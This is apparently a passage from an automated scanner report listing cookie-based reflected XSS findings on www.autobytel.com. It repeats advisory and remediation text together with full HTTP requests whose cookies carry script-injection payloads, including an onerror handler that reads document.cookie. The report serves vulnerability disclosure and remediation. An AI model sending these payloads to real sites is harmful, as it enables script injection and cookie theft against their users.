Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4cff9f"%3balert(1)//537a25459db; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ccd4"%3balert(1)//5bf50f7c259 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 3ccd4";alert(1)//5bf50f7c259 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=3ccd4"%3balert(1)//5bf50f7c259; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 5e58b<img%20src%3da%20onerror%3dalert(1)>c3ba64603ac was submitted in the PV_CT cookie. This input was echoed as 5e58b<img src=a onerror=alert(1)>c3ba64603ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=25e58b<img%20src%3da%20onerror%3dalert(1)>c3ba64603ac; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 605fd"%3balert(1)//420924e9679 was submitted in the BDATALIST cookie. This input was echoed as 605fd";alert(1)//420924e9679 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4605fd"%3balert(1)//420924e9679; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 60be7"%3balert(1)//28645459fda was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 60be7";alert(1)//28645459fda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=60be7"%3balert(1)//28645459fda; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 11748<img%20src%3da%20onerror%3dalert(1)>74f3489293b was submitted in the PV_CT cookie. This input was echoed as 11748<img src=a onerror=alert(1)>74f3489293b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=211748<img%20src%3da%20onerror%3dalert(1)>74f3489293b; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e8fdd"%3balert(1)//5500969e7cb was submitted in the BDATALIST cookie. This input was echoed as e8fdd";alert(1)//5500969e7cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4e8fdd"%3balert(1)//5500969e7cb; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9f4a"%3balert(1)//984810f28b2 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as e9f4a";alert(1)//984810f28b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=e9f4a"%3balert(1)//984810f28b2; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload a5fe8<img%20src%3da%20onerror%3dalert(1)>1080b64761a was submitted in the PV_CT cookie. This input was echoed as a5fe8<img src=a onerror=alert(1)>1080b64761a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2a5fe8<img%20src%3da%20onerror%3dalert(1)>1080b64761a; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ac01"%3balert(1)//ab5c6eae5d1 was submitted in the BDATALIST cookie. This input was echoed as 5ac01";alert(1)//ab5c6eae5d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c45ac01"%3balert(1)//ab5c6eae5d1; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 59b4c"%3balert(1)//6c656f1a1a5 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 59b4c";alert(1)//6c656f1a1a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=59b4c"%3balert(1)//6c656f1a1a5; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 331ff<img%20src%3da%20onerror%3dalert(1)>6cc2970f544 was submitted in the PV_CT cookie. This input was echoed as 331ff<img src=a onerror=alert(1)>6cc2970f544 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2331ff<img%20src%3da%20onerror%3dalert(1)>6cc2970f544; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c114f"%3balert(1)//11f8a886fb2 was submitted in the BDATALIST cookie. This input was echoed as c114f";alert(1)//11f8a886fb2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4c114f"%3balert(1)//11f8a886fb2; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86827"%3balert(1)//219d19e185b was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 86827";alert(1)//219d19e185b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=86827"%3balert(1)//219d19e185b; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94665"%3balert(1)//bf978242d4f was submitted in the BDATALIST cookie. This input was echoed as 94665";alert(1)//bf978242d4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c494665"%3balert(1)//bf978242d4f; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3bbbd"%3balert(1)//71b5ba10f64 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 3bbbd";alert(1)//71b5ba10f64 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=3bbbd"%3balert(1)//71b5ba10f64; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 9794b<img%20src%3da%20onerror%3dalert(1)>df36346d341 was submitted in the PV_CT cookie. This input was echoed as 9794b<img src=a onerror=alert(1)>df36346d341 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
